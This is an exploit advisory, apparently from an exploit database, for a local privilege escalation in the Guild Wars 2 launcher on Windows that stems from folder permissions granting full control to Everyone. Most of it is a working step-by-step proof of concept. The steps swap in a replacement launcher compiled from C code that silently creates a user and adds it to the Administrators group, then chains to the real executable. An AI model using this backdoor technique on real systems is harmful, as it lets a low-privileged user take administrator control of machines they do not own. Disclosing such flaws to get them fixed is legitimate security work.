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Guild Wars 2 - Insecure Folder Permissions


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# Exploit Title: Guild Wars 2 - Insecure Folder Permissions
# Date: 2020-10-09
# Exploit Author: George Tsimpidas
# Software Link : https://account.arena.net/welcome
# Version Build : 106915
# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362
# Category: local

Vulnerability Description:

Guild Wars 2 Launcher (Gw2-64.exe) suffers from an elevation of privileges
vulnerability which can be used by a simple user that can change the
executable file
with a binary of choice. The vulnerability exist due to the improper
with the 'F' flag (Full) for 'Everyone' group, making the entire directory
'Guild Wars 2' and its files and sub-dirs world-writable.

# Local Privilege Escalation Proof of Concept

D:\icacls "Guild Wars 2"
Guild Wars 2 Everyone:(F)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

## Insecure File Permission

D:\Guild Wars 2icacls Gw2-64.exe
Gw2-64.exe Everyone:(F)
NT AUTHORITY\Authenticated Users:(I)(M)

#0. Download & install

#1. Create low privileged user & change to the user
## As admin

C:\net user lowpriv Password123! /add
C:\net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name lowpriv
Local Group Memberships *Users
Global Group memberships *None

#2. Move the Service EXE to a new name

D:\Guild Wars 2whoami

D:\Guild Wars 2move Gw2-64.exe Gw2-64.frey.exe
1 file(s) moved.

#3. Create malicious binary on kali linux
## Add Admin User C Code

kali# cat addAdmin.c
int main(void){
system("net user placebo mypassword /add");
system("net localgroup Administrators placebo /add");
WinExec("D:\\Guild Wars 2\\Gw2-64.frey.exe",0);
return 0;

## Compile Code
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Gw2-64.exe

#4. Transfer created 'Gw2-64' to the Windows Host

#5. Move the created 'Gw2-64' binary to the 'D:\Guild Wars 2' Folder

D:\Guild Wars 2move C:\Users\lowpriv\Downloads\Gw2-64.exe .

#6. Check that exploit admin user doesn't exists

D:\Guild Wars 2net user placebo

The user name could not be found

#6. Reboot the Computer

D:\Guild Wars 2shutdown /r

#7. Login & now start the Guild Wars 2 Game, back doored launcher will be
executed, and the user placebo will be created, and added to the
Administrators group.

C:\Users\lowprivnet user placebo | findstr /i "Membership Name" | findstr
/v "Full"

User name placebo
Local Group Memberships *Administrators *Users
Global Group memberships *None
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